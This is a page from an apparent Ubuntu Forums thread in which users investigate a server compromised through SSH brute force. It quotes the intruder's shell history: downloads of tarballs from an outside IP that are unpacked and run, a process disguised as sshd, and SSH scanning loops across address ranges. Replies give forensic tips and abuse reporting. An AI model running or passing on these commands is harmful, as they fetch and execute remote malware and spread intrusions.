     cat 63 > pass_file
    sleep 3
    ./ssh 150
    
    cat 64 > pass_file
    sleep 3
    ./ssh 150
    
    echo "# It's over, you cand go outside and play now #"
    .history of the user:
    Code:
       15  cd /var/tmp
       16  ls -a
       17  /sbin/ifconfig |grep inet
       18  wget http://213.131.252.251/japjap/mech.tgz ; tar zxvf mech.tgz ; cd flash ; ./h -s "/usr/sbin/sshd" ./mech ; cd .. ; rm -rf flash mech.tgz
       19  cat /proc/cpuinfo
       20  nuame -a
       21  uname -a
       22  wget arhive.blajan.org/2009.tgz
       23  tar zxvf
       24  wget arhive.blajan.org/xpl.tgz
       25  wget http://213.131.252.251/japjap/irc.tgz ; tar zxvf irc.tgz ; rm -rf irc.tgz ; cd irc ; ./x 66.252 22
       26  ./x 194.0 22;./x 194.1 22;./x 194.2 22;./x 194.3 22;./x 194.4 22;./x 194.5 22;./x 194.6 22;./x 194.7 22;./x 194.8 22;./x 194.9 22;./x 194.10 22;./x 194.11 22;./x 194.12 22;./x 194.13 22;./x 194.14 22;./x 194.15 22;./x 194.16 22;./x 194.17 22;./x 194.18 22;./x 194.19 22;./x 194.20 22;./x 194.21 22;./x 194.22 22;./x 194.23 22;./x 194.24 22;./x 194.25 22;./x 194.26 22;./x 194.27 22;./x 194.28 22;./x 194.29 22;./x 194.30 22;./x 194.31 22;./x 194.32 22;./x 194.33 22;./x 194.34 22;./x 194.35 22;./x 194.36 22;./x 194.37 22;./x 194.38 22;./x 194.39 22;./x 194.40 22;./x 194.41 22;./x 194.42 22;./x 194.43 22;./x 194.44 22;./x 194.45 22;./x 194.46 22;./x 194.47 22;./x 194.48 22;./x 194.49 22;./x 194.50 22
       27  ls
       28  rm -rf 194*
       29  cat vuln.txt
       30  ls
       31  rm -rf vuln.txt
       32  ls
       33  ./x 78.24 22
       34  w
       35  ps x
       36  w
       37  cd /var/tmp
       38  ls -a
       39  cd irc
       40  ls
       41  cat vuln.txt
       42  w
       43  ps x
       44  cd /var/tmp
       45  /sbin/ifconfig |grep inet
       46  wget http://213.131.252.251/japjap/mech.tgz ; tar zxvf mech.tgz ; cd flash ; ./h -s "/usr/sbin/sshd" ./mech ; cd .. ; rm -rf flash mech.tgz
       47  ls
       48  cd irc
       49  ls
       50  cat vuln.txt
       51  rm -rf vuln.txt
       52  cd ..
       53  rm -rf irc
       54  wget http://213.131.252.251/japjap/r.tgz ; tar zxvf r.tgz ; rm -rf r.tgz ; cd boss ; ls
       55  ls
       56  ./x 78.24 22
       57  ls
       58  cat vuln.txt
       59  ./x 72.52 22
    So well segfault are really strange indeed I think that segmentation fault comes from inside the Ubuntu server once he corrupted the user he tried from the inside...Well just a guess.

    Thanks anyway !

    Ciao,
    Sismon

    PS:Obviousely he was using the /var/tmp to write everything...

  8. #18
    Join Date
    Sep 2009
    Beans
    18
    Distro
    Ubuntu 10.04 Lucid Lynx

    Re: SSH vulnerability in Intrepid? Machine comprimised...

    I suggest you look at kern.log for sshd segfaults which are separate from the ssh segfaults you see in auth.log or syslog.

    -P

  9. #19
    Join Date
    Sep 2009
    Beans
    18
    Distro
    Ubuntu 10.04 Lucid Lynx

    Re: SSH vulnerability in Intrepid? Machine comprimised...

    I also just checked and those files are still available from that IP.

    Someone should probably report that.

    -P

    Ok - send an email to abuse-inetbone.net and abuse-conversis.de
    Last edited by pbulteel; September 10th, 2009 at 01:40 PM. Reason: I emailed abuse@

  10. #20
    Join Date
    Sep 2009
    Beans
    18
    Distro
    Ubuntu 10.04 Lucid Lynx

    Re: SSH vulnerability in Intrepid? Machine comprimised...

    I checked the files that Sismon had in his history file and there's several files that contain user/password combinations which I assume the crackers script will attempt to use.

    The irc.tar file has 81120 unique passwords.
    The r.tar file which created a directory called "boss" contained 20175 unique passwords.

    Looking though those files I am guessing that they come from hacked websites and are from users from those sites and are being used as passwords for this.

    There's a LOT of passwords that I would consider secure.

    I definitely suggest that you use sentences as passwords as going L33t doesn't seem to cut it anymore.

    -P

Page 2 of 3 FirstFirst 123 LastLast

Bookmarks

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •